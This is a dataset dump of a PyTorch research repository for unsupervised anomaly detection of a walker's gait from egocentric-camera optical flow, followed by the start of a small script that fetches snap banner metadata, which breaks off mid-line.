2f30be5c021e5c34590aadc191f8b4b721a65e8d
05c2c8e0e3a31d459853515d9792507fa2bc7eb4
refs/heads/master
2022-12-28T19:31:02.203193
2020-10-11T16:17:58
2020-10-11T16:17:58
298,443,812
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.5489424467086792, "alphanum_fraction": 0.5661584138870239, "avg_line_length": 28.897058486938477, "blob_id": "4f56ba35a1cb27544d48bcabb0ffb61afb86b1d3", "content_id": "39e7759c4aff9b7f7ba403a6b6702d9f696d68c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2033, "license_type": "no_license", "max_line_length": 77, "num_lines": 68, "path": "/libs/test.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import torch\n\nimport numpy as np\nfrom sklearn.manifold import TSNE\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nmatplotlib.use(\"Agg\")\n\n\ndef test(R, D, clf, test_dataloader, device):\n Pred = np.zeros(shape=(len(test_dataloader.dataset),), dtype=np.float32)\n Labels = np.zeros(shape=(len(test_dataloader.dataset),), dtype=np.long)\n Feat_vec = []\n total_steps = 0\n\n n = 0\n for samples in test_dataloader:\n imges = samples[\"img\"]\n label = np.array(samples[\"cls_id\"])\n mini_batch_size = imges.size()[0]\n total_steps = total_steps + mini_batch_size\n\n imges = imges.to(device)\n with torch.no_grad():\n _, feat_i, feat_o = R(imges)\n\n # For t-SNE visualization\n test_feat_vec = feat_i - feat_o\n test_feat_vec = test_feat_vec.to(\"cpu\")\n for vec in test_feat_vec:\n vec = vec.reshape(-1)\n vec = vec.tolist()\n Feat_vec.append(vec)\n\n test_feat_vec = np.array(test_feat_vec)\n test_feat_vec = np.reshape(test_feat_vec, (mini_batch_size, -1))\n pred = clf.predict(test_feat_vec)\n\n Pred[n : n + mini_batch_size] = pred.reshape(mini_batch_size)\n Labels[n : n + mini_batch_size] = label.reshape(mini_batch_size)\n n += mini_batch_size\n\n acc = 0\n wrong = 0\n for i in range(len(Labels)):\n if Pred[i] == 1 and Labels[i] == 0:\n acc += 1\n elif Pred[i] == -1 and Labels[i] == 1:\n acc += 1\n else:\n wrong += 1\n Acc = acc / (acc + wrong)\n\n \"\"\"\n T-SNE Visualization Latent Vector\n \"\"\"\n digits3d_lat = TSNE(n_components=3).fit_transform(Feat_vec)\n fig_lat = plt.figure(figsize=(10, 10)).gca(projection=\"3d\")\n for i in range(2):\n target = digits3d_lat[Labels == i]\n fig_lat.scatter(\n target[:, 0], target[:, 1], target[:, 2], label=str(i), alpha=0.5\n )\n fig_lat.legend(bbox_to_anchor=(1.02, 0.7), loc=\"upper left\")\n plt.savefig(\"./result/t_SNE.png\")\n\n return Acc\n" }, { "alpha_fraction": 0.5587067604064941, "alphanum_fraction": 0.5890527367591858, "avg_line_length": 29.13675308227539, "blob_id": "8dfee38d1408c9903e03cecdef15a3c7663a14fe", "content_id": "3f8e329b4fd2154fc207066f9d1f56bf1674a8a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3526, "license_type": "no_license", "max_line_length": 84, "num_lines": 117, "path": "/libs/parts.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import torch.nn as nn\n\n\n# Middle layer of Encoder\nclass Pyramidconv2D(nn.Module):\n def __init__(self, in_feat, out_feat):\n super().__init__()\n self.conv = nn.Conv2d(in_feat, out_feat, kernel_size=4, stride=2, padding=1)\n self.bn = nn.BatchNorm2d(out_feat)\n self.relu = nn.LeakyReLU(0.2, inplace=True)\n\n def forward(self, img):\n img = self.conv(img)\n img = self.bn(img)\n out_img = self.relu(img)\n return out_img\n\n\n# Middle layer of Decoder\nclass PyramidconvT2D(nn.Module):\n def __init__(self, in_feat, out_feat):\n super().__init__()\n self.convt = nn.ConvTranspose2d(\n in_feat, out_feat, kernel_size=4, stride=2, padding=1\n )\n self.bn = nn.BatchNorm2d(out_feat)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, img):\n img = self.convt(img)\n img = self.bn(img)\n out_img = self.relu(img)\n return out_img\n\n\n# First layer of Encoder\nclass Firstconv2D(nn.Module):\n def __init__(self, channel, out_feat):\n super().__init__()\n self.conv = nn.Conv2d(channel, out_feat, kernel_size=4, stride=2, padding=1)\n self.relu = nn.LeakyReLU(0.2, inplace=True)\n\n def forward(self, img):\n img = self.conv(img)\n out_img = self.relu(img)\n return out_img\n\n\n# First layer of Decoder\nclass FirstconvT2D(nn.Module):\n def __init__(self, channel, out_feat):\n super().__init__()\n self.convt = nn.ConvTranspose2d(\n channel, out_feat, kernel_size=4, stride=1, padding=0\n )\n self.bn = nn.BatchNorm2d(out_feat)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, img):\n img = self.convt(img)\n img = self.bn(img)\n out_img = self.relu(img)\n return out_img\n\n\n# Final layer of Decoder\nclass FinalconvT2D(nn.Module):\n def __init__(self, in_feat, channel):\n super().__init__()\n self.convt = nn.ConvTranspose2d(\n in_feat, channel, kernel_size=4, stride=2, padding=1\n )\n self.tanh = nn.Tanh()\n\n def forward(self, img):\n img = self.convt(img)\n out_img = self.tanh(img)\n return out_img\n\n\nclass Encoder(nn.Module):\n def __init__(self, z_dim, channel):\n super().__init__()\n self.firstconv = Firstconv2D(channel, 64)\n self.pyramidconv1 = Pyramidconv2D(64, 128)\n self.pyramidconv2 = Pyramidconv2D(128, 256)\n self.pyramidconv3 = Pyramidconv2D(256, 512)\n self.finalconv = nn.Conv2d(512, z_dim, kernel_size=4, stride=1, padding=0)\n\n def forward(self, img):\n img = self.firstconv(img)\n img = self.pyramidconv1(img)\n img = self.pyramidconv2(img)\n img = self.pyramidconv3(img)\n out_img = self.finalconv(img)\n return out_img, img\n\n\nclass Decoder(nn.Module):\n def __init__(self, z_dim, channel):\n super().__init__()\n self.firstconvt = FirstconvT2D(z_dim, 512)\n self.pyramidconvt1 = PyramidconvT2D(512, 256)\n self.pyramidconvt2 = PyramidconvT2D(256, 128)\n self.pyramidconvt3 = PyramidconvT2D(128, 64)\n # self.finalconvt = FinalconvT2D(64, channel)\n self.finalconvt = nn.ConvTranspose2d(\n 64, channel, kernel_size=4, stride=2, padding=1\n )\n\n def forward(self, img):\n img = self.firstconvt(img)\n img = self.pyramidconvt1(img)\n img = self.pyramidconvt2(img)\n img = self.pyramidconvt3(img)\n out_img = self.finalconvt(img)\n return out_img\n" }, { "alpha_fraction": 0.795918345451355, "alphanum_fraction": 0.8367347121238708, "avg_line_length": 73, "blob_id": "2997a80bc15acf615186fc389486966c9dba4217", "content_id": "b7d5ed7a7d1fa316de4a5d8f040836de93c3c31c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 147, "license_type": "no_license", "max_line_length": 86, "num_lines": 2, "path": "/README.md", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "# Unsupervised Anomaly Detection of the First Person in Gait from an Egocentric Camera\n15th International Symposium on Visual Computing (ISVC 2020)" }, { "alpha_fraction": 0.48226532340049744, "alphanum_fraction": 0.4916715621948242, "avg_line_length": 28.327587127685547, "blob_id": "a84956ca7f8f882993d1e62f15b6d669571081c2", "content_id": "f1b1b66a1ba8ddeb27fb0e1bce65657c31802110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5103, "license_type": "no_license", "max_line_length": 84, "num_lines": 174, "path": "/libs/model.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\n\nfrom libs.meter import AverageMeter\nfrom libs.flow_vis import visualize_flow\nfrom libs.loss import l2_loss\nfrom libs.test import test\n\nfrom sklearn.svm import OneClassSVM\nimport numpy as np\nfrom PIL import Image\nimport time\n\nimport wandb\n\n\ndef egocentric_ad(\n R, D, num_epochs, z_dim, lambdas, dataloader, test_dataloader, no_wandb\n):\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(\"Device:\", device)\n\n lr_r = 0.002\n lr_d = 0.0002\n beta1, beta2 = 0.5, 0.999\n\n r_optimizer = torch.optim.Adam(R.parameters(), lr_r, [beta1, beta2])\n d_optimizer = torch.optim.Adam(D.parameters(), lr_d, [beta1, beta2])\n\n R.to(device)\n D.to(device)\n\n torch.backends.cudnn.benchmark = True\n\n for epoch in range(num_epochs):\n t_epoch_start = time.time()\n R.train()\n D.train()\n\n print(\n \"----------------------(train {}/{})----------------------\".format(\n epoch, num_epochs\n )\n )\n r_loss_meter = AverageMeter(\"R_Loss\", \":.4e\")\n d_loss_meter = AverageMeter(\"D_loss\", \":.4e\")\n\n for samples in dataloader:\n imges = samples[\"img\"]\n imges = imges.to(device)\n\n # batch size of last sample will be smaller than the default\n mini_batch_size = imges.size()[0]\n real_label = torch.ones(\n size=(mini_batch_size,), dtype=torch.float32, device=device\n )\n fake_label = torch.zeros(\n size=(mini_batch_size,), dtype=torch.float32, device=device\n )\n\n \"\"\"\n Forward Pass\n \"\"\"\n train_fake_imges, feat_i, feat_o = R(imges)\n pred_real, feat_real = D(imges)\n pred_fake, feat_fake = D(train_fake_imges)\n\n \"\"\"\n Loss Calculation\n \"\"\"\n l1_loss = nn.L1Loss()\n d_loss = nn.BCEWithLogitsLoss(reduction=\"mean\")\n\n loss_r_adv = l2_loss(feat_real, feat_fake)\n loss_r_con = l1_loss(train_fake_imges, imges)\n loss_r_enc = l2_loss(feat_i, feat_o)\n\n w_adv = lambdas[0]\n w_con = lambdas[1]\n w_enc = lambdas[2]\n\n r_loss = w_adv * loss_r_adv + w_con * loss_r_con + w_enc * loss_r_enc\n r_loss_meter.update(r_loss.item())\n\n loss_d_real = d_loss(pred_real, real_label)\n loss_d_fake = d_loss(pred_fake, fake_label)\n\n d_loss = (loss_d_real + loss_d_fake) * 0.5\n d_loss_meter.update(d_loss.item())\n\n \"\"\"\n Backward Pass\n \"\"\"\n r_optimizer.zero_grad()\n r_loss.backward(retain_graph=True)\n r_optimizer.step()\n\n d_optimizer.zero_grad()\n d_loss.backward()\n d_optimizer.step()\n\n t_epoch_finish = time.time()\n\n # Visualize reconstruction image\n save_path_original = \"./result/flow_vis/original\"\n save_path_reconstruction = \"./result/flow_vis/reconstruction\"\n print(imges[0].shape)\n visualize_flow(imges[0], save_path_original, \"flow_vis{}.png\".format(epoch))\n visualize_flow(\n train_fake_imges[0],\n save_path_reconstruction,\n \"flow_vis{}.png\".format(epoch),\n )\n\n print(\n \"D_Loss :{:.4f} || R_Loss :{:.4f}\".format(\n d_loss_meter.avg, r_loss_meter.avg\n )\n )\n print(\"time : {:.4f} sec.\".format(t_epoch_finish - t_epoch_start))\n\n print(\n \"-----------------------(test {}/{})----------------------\".format(\n epoch, num_epochs\n )\n )\n \"\"\"\n Train One Class SVM\n \"\"\"\n feature_vector = []\n R.eval()\n for samples in dataloader:\n\n imges = samples[\"img\"]\n imges = imges.to(device)\n\n with torch.no_grad():\n _, feat_i, feat_o = R(imges)\n\n vectors = feat_i - feat_o\n\n for vect in vectors:\n vect = vect.reshape(-1)\n vect = vect.to(\"cpu\")\n vect = vect.tolist()\n feature_vector.append(vect)\n\n feature_vector = np.array(feature_vector)\n feature_vector = np.reshape(feature_vector, (-1, z_dim))\n\n clf = OneClassSVM(kernel=\"rbf\", gamma=\"auto\")\n clf.fit(feature_vector)\n\n Acc = test(R, D, clf, test_dataloader, device)\n\n print(\"Accuracy :{}\".format(Acc))\n print(\"-------------------------------------------------------\")\n\n if not no_wandb:\n wandb.log(\n {\n \"train_time\": t_epoch_finish - t_epoch_start,\n \"D_loss\": d_loss_meter.avg,\n \"R_loss\": r_loss_meter.avg,\n \"Accuracy\": Acc,\n },\n step=epoch,\n )\n\n img = Image.open(\"./result/t_SNE.png\")\n wandb.log({\"image\": [wandb.Image(img)]}, step=epoch)\n\n t_epoch_start = time.time()\n return R, D\n" }, { "alpha_fraction": 0.6966192126274109, "alphanum_fraction": 0.6983985900878906, "avg_line_length": 22.17525863647461, "blob_id": "e3145dc96173b45964c75e7999622feb4a57ec37", "content_id": "b2489083a1673f727bca853ccf9009eca9c492a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2248, "license_type": "no_license", "max_line_length": 88, "num_lines": 97, "path": "/train.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import torch\nfrom torch.utils.data import DataLoader\n\nfrom libs.net import Reconstructor, Discriminator, weights_init\nfrom libs.model import egocentric_ad\nfrom libs.dataset import Dataset2D\nfrom libs.transform import ImageTransform\nfrom libs.statistics import get_mean_std\n\nfrom addict import Dict\nimport argparse\nimport yaml\nimport os\nimport wandb\n\n\ndef get_parameters():\n \"\"\"\n make parser to get parameters\n \"\"\"\n\n parser = argparse.ArgumentParser(description=\"take config file path\")\n\n parser.add_argument(\"config\", type=str, help=\"path of a config file for training\")\n\n parser.add_argument(\"--no_wandb\", action=\"store_true\", help=\"Add --no_wandb option\")\n\n return parser.parse_args()\n\n\nargs = get_parameters()\n\nCONFIG = Dict(yaml.safe_load(open(args.config)))\n\n\nif not args.no_wandb:\n wandb.init(\n config=CONFIG,\n name=CONFIG.name,\n project=\"egocentric_2D\", # have to change when you want to change project\n # jobtype=\"training\",\n )\n\nmean, std = get_mean_std()\ntrain_dataset = Dataset2D(\n CONFIG.train_csv_file,\n CONFIG.datasetdir,\n CONFIG.input_size,\n transform=ImageTransform(mean, std),\n)\ntest_dataset = Dataset2D(\n CONFIG.test_csv_file,\n CONFIG.datasetdir,\n CONFIG.input_size,\n transform=ImageTransform(mean, std),\n)\n\ntrain_dataloader = DataLoader(train_dataset, batch_size=CONFIG.batch_size, shuffle=True)\ntest_dataloader = DataLoader(\n test_dataset, batch_size=CONFIG.test_batch_size, shuffle=False\n)\n\n\nR = Reconstructor(CONFIG.z_dim, CONFIG.channel)\nD = Discriminator(CONFIG.z_dim, CONFIG.channel)\n\nR.apply(weights_init)\nD.apply(weights_init)\n\nif not args.no_wandb:\n # Magic\n wandb.watch(R, log=\"all\")\n wandb.watch(D, log=\"all\")\n\nR_update, D_update = egocentric_ad(\n R,\n D,\n CONFIG.num_epochs,\n CONFIG.z_dim,\n CONFIG.lambdas,\n dataloader=train_dataloader,\n test_dataloader=test_dataloader,\n no_wandb=args.no_wandb,\n)\nif not os.path.exists(CONFIG.save_dir):\n os.makedirs(CONFIG.save_dir)\n\ntorch.save(\n R_update.state_dict(),\n os.path.join(CONFIG.save_dir, \"R-{}.prm\".format(CONFIG.name)),\n)\ntorch.save(\n D_update.state_dict(),\n os.path.join(CONFIG.save_dir, \"D-{}.prm\".format(CONFIG.name)),\n)\n\nprint(\"Done\")\n" }, { "alpha_fraction": 0.6774193644523621, "alphanum_fraction": 0.6774193644523621, "avg_line_length": 26.55555534362793, "blob_id": "26b2db4c2b695094d4d644a2f14891cd529961a6", "content_id": "dd23d4f79802ce8a1bfafcb5216c9efc11e15169", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "no_license", "max_line_length": 83, "num_lines": 9, "path": "/libs/transform.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "from torchvision import transforms\n\n\nclass ImageTransform:\n def __init__(self, mean, std):\n self.data_transform = transforms.Compose([transforms.Normalize(mean, std)])\n\n def __call__(self, img):\n return self.data_transform(img)\n" }, { "alpha_fraction": 0.34375, "alphanum_fraction": 0.5520833134651184, "avg_line_length": 23, "blob_id": "091155d02797ff14e0b554db78a5fea4262ca45e", "content_id": "414c20f9ae42ce5421362c89bcb8929594b9a0ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 96, "license_type": "no_license", "max_line_length": 27, "num_lines": 4, "path": "/libs/statistics.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "def get_mean_std():\n mean = [0.0777, 0.2428]\n std = [0.9237, 0.8718]\n return mean, std\n" }, { "alpha_fraction": 0.5231896042823792, "alphanum_fraction": 0.5349878072738647, "avg_line_length": 27.581396102905273, "blob_id": "037f9cd8bbcd66208c2f2d8720ee3d0205798e3a", "content_id": "ea83cc3f4e3a21e7f0e450bc00beefc550de00c7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2458, "license_type": "no_license", "max_line_length": 77, "num_lines": 86, "path": "/libs/dataset.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "from torch.utils import data\nimport pandas as pd\nimport torch\nimport torch.nn.functional as F\n\nimport numpy as np\nfrom PIL import Image\n\n\nclass Dataset2D(data.Dataset):\n def __init__(self, csv_file, datasetdir, input_size, transform=\"None\"):\n super().__init__()\n self.df = pd.read_csv(csv_file)\n self.transform = transform\n self.datasetdir = datasetdir\n self.input_size = input_size\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, idx):\n img_path = self.df.iloc[idx][\"img_path\"]\n img = np.load(img_path)\n # img = np.fromfile(img_path,np.float32)\n img = np.reshape(img, (224, 224, 2))\n img = np.transpose(img, (2, 0, 1))\n # print(img.shape)\n\n if self.transform is not None:\n img = torch.tensor(img)\n img = img.unsqueeze(0)\n img = F.interpolate(img, size=(self.input_size, self.input_size))\n img = img.squeeze(0)\n img = self.transform(img)\n\n cls_id = self.df.iloc[idx][\"cls_id\"]\n cls_label = self.df.iloc[idx][\"cls_label\"]\n\n sample = {\n \"img\": img,\n \"cls_id\": cls_id,\n \"label\": cls_label,\n \"img_path\": img_path,\n }\n\n return sample\n\n\nclass DatasetRGB(data.Dataset):\n def __init__(self, csv_file, datasetdir, input_size, transform=\"None\"):\n super().__init__()\n self.df = pd.read_csv(csv_file)\n self.transform = transform\n self.datasetdir = datasetdir\n self.input_size = input_size\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, idx):\n img_path = self.df.iloc[idx][\"img_path\"]\n img = Image.open(img_path)\n # img = np.fromfile(img_path,np.float32)\n img = np.array(img)\n img = np.reshape(img, (224, 224, 3))\n img = np.transpose(img, (2, 0, 1))\n # print(img.shape)\n\n if self.transform is not None:\n img = torch.tensor(img)\n img = img.unsqueeze(0)\n img = F.interpolate(img, size=(self.input_size, self.input_size))\n img = img.squeeze(0)\n img = self.transform(img)\n\n cls_id = self.df.iloc[idx][\"cls_id\"]\n cls_label = self.df.iloc[idx][\"cls_label\"]\n\n sample = {\n \"img\": img,\n \"cls_id\": cls_id,\n \"label\": cls_label,\n \"img_path\": img_path,\n }\n\n return sample\n" }, { "alpha_fraction": 0.524193525314331, "alphanum_fraction": 0.5766128897666931, "avg_line_length": 25.571428298950195, "blob_id": "6b30875e617ed36cf61ceb39a09fcf5edff6563f", "content_id": "71eae0ad7f173fa2c8e3b394484f19761c90f088", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 744, "license_type": "no_license", "max_line_length": 73, "num_lines": 28, "path": "/libs/flow_vis.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "from .statistics import get_mean_std\n\nimport cv2\nimport numpy as np\nimport os\n\n\ndef visualize_flow(flo, save_path, img_name):\n mean, std = get_mean_std()\n\n flo = flo.to(\"cpu\")\n\n # Standardization\n flo[0] = (flo[0] * std[0]) + mean[0]\n flo[1] = (flo[1] * std[1]) + mean[1]\n\n np_flo = flo.detach().numpy()\n np_flo = np_flo.transpose((1, 2, 0))\n\n mag, ang = cv2.cartToPolar(np_flo[..., 0], np_flo[..., 1])\n hsv = np.zeros((np_flo.shape[0], np_flo.shape[1], 3), dtype=np.uint8)\n hsv[..., 0] = ang * 180 / np.pi / 2\n hsv[..., 1] = 255\n hsv[..., 2] = cv2.normalize(mag, None, 0, 255, cv2.NORM_MINMAX)\n\n bgr_img = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n\n cv2.imwrite(os.path.join(save_path, img_name), bgr_img)\n" }, { "alpha_fraction": 0.5671417713165283, "alphanum_fraction": 0.5701425075531006, "avg_line_length": 22.38596534729004, "blob_id": "bd0e9dbef53590b19727f27dd5782e857e489136", "content_id": "715019497c4572c88d05a497450dce280f52bd7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1333, "license_type": "no_license", "max_line_length": 84, "num_lines": 57, "path": "/utils/make_train_csv.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import argparse\nimport glob\nimport pandas as pd\nimport os\n\n\ndef get_arguments():\n parser = argparse.ArgumentParser(description=\"make csv files\")\n\n parser.add_argument(\n \"--dataset_dir\",\n type=str,\n default=\"./data\",\n help=\"input the PATH of the directry where the datasets are saved\",\n )\n\n parser.add_argument(\n \"--save_dir\",\n type=str,\n default=\"./csv\",\n help=\"input the PATH of the directry where the csv files will be saved\",\n )\n\n return parser.parse_args()\n\n\ndef main():\n args = get_arguments()\n\n if not os.path.exists(args.save_dir):\n os.mkdir(args.save_dir)\n\n img_paths = []\n cls_ids = []\n cls_labels = []\n\n for data in range(10):\n img_dir = os.path.join(args.dataset_dir, \"normal\" + str(data + 1))\n paths = glob.glob(os.path.join(img_dir, \"*.npy\"))\n paths.sort()\n img_paths += paths\n\n cls_ids += [0 for _ in range(len(img_paths))]\n cls_labels += [\"normal\" for _ in range(len(img_paths))]\n\n df = pd.DataFrame(\n {\"img_path\": img_paths, \"cls_id\": cls_ids, \"cls_label\": cls_labels},\n columns=[\"img_path\", \"cls_id\", \"cls_label\"],\n )\n\n df.to_csv(os.path.join(args.save_dir, \"{}.csv\").format(\"train_npy\"), index=None)\n\n print(\"Done\")\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.658972442150116, "alphanum_fraction": 0.6790766716003418, "avg_line_length": 21.762712478637695, "blob_id": "13f2dd90df72c3f340eef57b5ec0a3ab2395dfca", "content_id": "da565dd82b3fda34a209ddd7c8ef3532a92230b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1343, "license_type": "no_license", "max_line_length": 88, "num_lines": 59, "path": "/utils/calc_mean_std.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import torch\n\nfrom libs.dataset import Dataset2D\nfrom torch.utils.data import DataLoader\n\nimport argparse\nimport yaml\n\nfrom addict import Dict\n\n\ndef get_parameters():\n \"\"\"\n make parser to get parameters\n \"\"\"\n\n parser = argparse.ArgumentParser(description=\"take config file path\")\n\n parser.add_argument(\"config\", type=str, help=\"path of a config file for training\")\n\n parser.add_argument(\"--no_wandb\", action=\"store_true\", help=\"Add --no_wandb option\")\n\n return parser.parse_args()\n\n\nargs = get_parameters()\n\nCONFIG = Dict(yaml.safe_load(open(args.config)))\n\ntrain_dataset = Dataset2D(\n csv_file=CONFIG.train_csv_file,\n datasetdir=CONFIG.datasetdir,\n input_size=CONFIG.input_size,\n transform=None,\n)\n\nloader = DataLoader(train_dataset, batch_size=1, shuffle=False)\nprint(len(loader.dataset))\nmean = 0.0\nstd = 0.0\n\nfor sample in loader:\n image = sample[\"img\"]\n batch_samples = image.size(0)\n image = image.view(batch_samples, image.size(1), -1)\n mean += image.mean(2).sum(0)\nmean = mean / len(loader.dataset)\n\nvar = 0.0\nfor sample in loader:\n image = sample[\"img\"]\n batch_samples = image.size(0)\n image = image.view(batch_samples, image.size(1), -1)\n var += ((image - mean.unsqueeze(1)) ** 2).sum([0, 2])\nstd = torch.sqrt(var / (len(loader.dataset) * 224 * 224))\n\n\nprint(mean)\nprint(std)\n" }, { "alpha_fraction": 0.4252265989780426, "alphanum_fraction": 0.43202418088912964, "avg_line_length": 26.87368392944336, "blob_id": "0f17b2b42cbd6b27185549e65792cc3b153f3123", "content_id": "2120a0d5cfe1ec0a47fc47318e4738beedcc561d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2648, "license_type": "no_license", "max_line_length": 80, "num_lines": 95, "path": "/utils/make_test_csv_sep.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import argparse\nimport glob\nimport pandas as pd\nimport os\n\n\ndef get_arguments():\n parser = argparse.ArgumentParser(description=\"make csv files\")\n\n parser.add_argument(\n \"--dataset_dir\",\n type=str,\n default=\"./data\",\n help=\"input the PATH of the directry where the datasets are saved\",\n )\n\n parser.add_argument(\n \"--save_dir\",\n type=str,\n default=\"./csv\",\n help=\"input the PATH of the directry where the csv files will be saved\",\n )\n\n return parser.parse_args()\n\n\ndef main():\n args = get_arguments()\n\n if not os.path.exists(args.save_dir):\n os.mkdir(args.save_dir)\n\n img_paths = []\n cls_ids = []\n cls_labels = []\n class2ids = {\"normal\": 0, \"anomal\": 1}\n\n for c in [\"anomal\", \"normal\"]:\n img_dir = os.path.join(args.dataset_dir)\n if c == \"anomal\":\n for sample in range(2):\n paths = glob.glob(\n os.path.join(img_dir, c, c + str(sample + 1), \"*.npy\")\n )\n\n img_numbers = len(paths)\n for i in range(img_numbers):\n img_paths.append(\n os.path.join(\n \"/mana/test/eg{}\".format(img_dir[-1]),\n c,\n c + str(sample + 1),\n \"%06d.npy\" % i,\n )\n )\n\n cls_ids += [class2ids[c] for _ in range(img_numbers)]\n cls_labels += [c for _ in range(img_numbers)]\n else:\n for sample in range(3):\n paths = glob.glob(\n os.path.join(img_dir, c, c + str(sample + 1), \"*.npy\")\n )\n\n img_numbers = len(paths)\n for i in range(img_numbers):\n img_paths.append(\n os.path.join(\n \"/mana/test/eg{}\".format(img_dir[-1]),\n c,\n c + str(sample + 1),\n \"%06d.npy\" % i,\n )\n )\n\n cls_ids += [class2ids[c] for _ in range(img_numbers)]\n cls_labels += [c for _ in range(img_numbers)]\n\n df = pd.DataFrame(\n {\"img_path\": img_paths, \"cls_id\": cls_ids, \"cls_label\": cls_labels},\n columns=[\"img_path\", \"cls_id\", \"cls_label\"],\n )\n\n df.to_csv(\n os.path.join(args.save_dir, \"{}.csv\").format(\n \"test_npy_eg{}\".format(img_dir[-1])\n ),\n index=None,\n )\n\n print(\"Done\")\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5744513869285583, "alphanum_fraction": 0.5979623794555664, "avg_line_length": 27.35555648803711, "blob_id": "a2c7ff1f1bb5ab72829920e4b7824e5765e08003", "content_id": "fb1f1407de74790bf32225dcc3813f70900b91cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1276, "license_type": "no_license", "max_line_length": 82, "num_lines": 45, "path": "/libs/net.py", "repo_name": "llien30/ego-ad", "src_encoding": "UTF-8", "text": "import torch.nn as nn\n\nfrom .parts import Encoder, Decoder\n\n\"\"\"\nNetwork of Reconstructor and Discriminator\nExpected Input : (Batch, channel, 64, 64)\n\"\"\"\n\n\nclass Reconstructor(nn.Module):\n def __init__(self, z_dim, channel):\n super().__init__()\n self.encoder1 = Encoder(z_dim, channel)\n self.decoder = Decoder(z_dim, channel)\n self.encoder2 = Encoder(z_dim, channel)\n\n def forward(self, img):\n feat_i, _ = self.encoder1(img)\n fakeimg = self.decoder(feat_i)\n feat_o, _ = self.encoder2(fakeimg)\n return fakeimg, feat_i, feat_o\n\n\nclass Discriminator(nn.Module):\n def __init__(self, z_dim, channel):\n super().__init__()\n self.z_dim = z_dim\n self.encoder = Encoder(z_dim, channel)\n self.discriminator = nn.Conv2d(512, 1, kernel_size=4, stride=4, padding=0)\n\n def forward(self, img):\n _, feature = self.encoder(img)\n pred = self.discriminator(feature).squeeze()\n return pred, feature\n\n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find(\"Conv\") != -1:\n m.weight.data.uniform_(0.0, 0.02)\n m.bias.data.fill_(0)\n elif classname.find(\"BatchNorm\") != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n" } ]
13
Lukewh/banner-preview
https://github.com/Lukewh/banner-preview
2a7a86a7c248b0e986f19d55fd6aba91e3a6b9af
dd99d94817610c5378bf509879a7686244937310
e1924de0d184a5b18bc1d06a231b3ca8e7f18825
refs/heads/master
2023-05-26T02:46:37.218166
2019-09-19T07:37:36
2019-09-19T07:37:36
209,490,039
0
0
null
2019-09-19T07:28:47
2019-09-19T07:37:44
2023-05-22T22:30:08
Python
[ { "alpha_fraction": 0.6648044586181641, "alphanum_fraction": 0.6703910827636719, "avg_line_length": 19, "blob_id": "cffb6ef90280a2e3895a0dc78be432bc66e41a93", "content_id": "2c8ad2d931c245b28122347cc834addb9abe8e77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 182, "license_type": "no_license", "max_line_length": 39, "num_lines": 9, "path": "/README.md", "repo_name": "Lukewh/banner-preview", "src_encoding": "UTF-8", "text": "# banner-preview\n\n- Set up `virtualenv`\n- `pip install -r requirements.txt`\n- Add your list of snaps to `snaps.txt`\n- `python3 app.py`\n- Wait\n- Open `{PATH_TO_DIR}/index.html`\n- 😮" }, { "alpha_fraction": 0.6221198439598083, "alphanum_fraction": 0.6254114508628845, "avg_line_length": 26.125, "blob_id": "3a7a30e83191f95e715f309fb3ed46897c55d126", "content_id": "aeeaaefdf51457a1f1b8d096673ce5b5466c9534", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1519, "license_type": "no_license", "max_line_length": 130, "num_lines": 56, "path": "/app.py", "repo_name": "Lukewh/banner-preview", "src_encoding": "UTF-8", "text": "import os\nimport json\nimport requests\nimport sys\n\ndef get_banner(snap_json):\n return [s[\"url\"] for s in snap_json[\"snap\"][\"media\"] if s[\"type\"] == \"banner\"]\n\ndef get_icon(snap_json):\n return [s[\"url\"] for s in snap_json[\"snap\"][\"media\"] if s[\"type\"] == \"icon\"]\n\ndef get_snap(snap_name):\n url = 